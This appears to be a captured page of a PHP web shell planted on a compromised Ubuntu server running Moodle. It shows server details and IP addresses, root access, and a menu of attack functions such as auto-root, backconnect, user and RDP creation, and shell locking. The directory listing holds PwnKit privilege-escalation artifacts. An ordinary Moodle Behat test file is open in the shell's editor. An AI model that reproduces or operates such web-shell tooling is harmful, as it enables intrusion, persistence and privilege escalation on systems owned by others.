Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
mod /
h5pactivity /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
add_h5pactivity.feature
5.44
KB
-rwxrwxrwx
attempt_options.feature
5.89
KB
-rwxrwxrwx
contentbank_link.feature
1.7
KB
-rwxrwxrwx
define_settings.feature
2.28
KB
-rwxrwxrwx
display_result_types.feature
14.21
KB
-rwxrwxrwx
grading_attempts.feature
8.04
KB
-rwxrwxrwx
locking.feature
4.58
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
result_fillin.feature
2.65
KB
-rwxrwxrwx
result_longfillin.feature
1.84
KB
-rwxrwxrwx
sending_attempt.feature
4.92
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : locking.feature
@mod @mod_h5pactivity @core_h5p Feature: Add H5P activity context locking In order to let users access a H5P attempts As a user I need to access attempts reports even if no more users can submit attempts Background: Given the following config values are set as admin: | contextlocking | 1 | And the following "users" exist: | username | firstname | lastname | email | | teacher1 | Teacher | 1 | teacher1@example.com | | student1 | Student | 1 | student1@example.com | | student2 | Student | 2 | student2@example.com | And the following "courses" exist: | fullname | shortname | category | | Course 1 | C1 | 0 | And the following "course enrolments" exist: | user | course | role | | teacher1 | C1 | editingteacher | | student1 | C1 | student | | student2 | C1 | student | # This test is only about reporting, we don't need to specify any valid H5P file for it. And the following "activity" exists: | activity | h5pactivity | | name | H5P package | | intro | Test H5P description | | course | C1 | | idnumber | h5ppackage | And the following "mod_h5pactivity > attempt" exists: | user | student1 | | h5pactivity | H5P package | | attempt | 1 | | interactiontype | compound | | rawscore | 2 | | maxscore | 2 | | duration | 4 | | completion | 1 | | success | 1 | Scenario: Access participants report on a freeze context Given the "h5ppackage" "Activity module" is context frozen And I am on the "H5P package" "h5pactivity activity" page logged in as admin When I follow "View all attempts (1 submitted)" Then I should see "Student 1" And I should see "View user attempts (1)" in the "Student 1" "table_row" And I should see "Student 2" And I should not see "Teacher 1" Scenario: Access own attempts on a freeze context Given the "h5ppackage" "Activity module" is context frozen And I am on the "H5P package" "h5pactivity activity" page logged in as student1 When I follow "View my attempts" And I follow "View report" Then I should see "Attempt #1: Student 1" And I should see "This attempt is completed" Scenario: Access participants report without any user with submit capability Given the following "permission overrides" exist: | capability | permission | role | contextlevel | reference | | mod/h5pactivity:submit | Prohibit | student | System | | And I am on the "H5P package" "h5pactivity activity" page logged in as admin When I follow "View all attempts (1 submitted)" Then I should see "Student 1" And I should see "View user attempts (1)" in the "Student 1" "table_row" And I should see "Student 2" And I should not see "Teacher 1" Scenario: Access participant report to list students with submit capability but no view one Given the following "permission overrides" exist: | capability | permission | role | contextlevel | reference | | mod/h5pactivity:view | Prohibit | student | System | | And I am on the "H5P package" "h5pactivity activity" page logged in as admin When I follow "View all attempts (0 submitted)" Then I should see "No participants to display" Scenario: Access participant report but with no users with view or submit capability Given the following "permission overrides" exist: | capability | permission | role | contextlevel | reference | | mod/h5pactivity:submit | Prohibit | student | System | | | mod/h5pactivity:view | Prohibit | student | System | | And I am on the "H5P package" "h5pactivity activity" page logged in as admin When I follow "View all attempts (0 submitted)" Then I should see "No participants to display" Scenario: Access participant report in a hidden activity Given I log in as "admin" And I am on "Course 1" course homepage with editing mode on And I click on "Hide" "link" in the "H5P package" activity When I am on the "H5P package" "h5pactivity activity" page And I follow "View all attempts (1 submitted)" Then I should see "Student 1" And I should see "View user attempts (1)" And I should see "Student 2" And I should not see "Teacher 1"
Close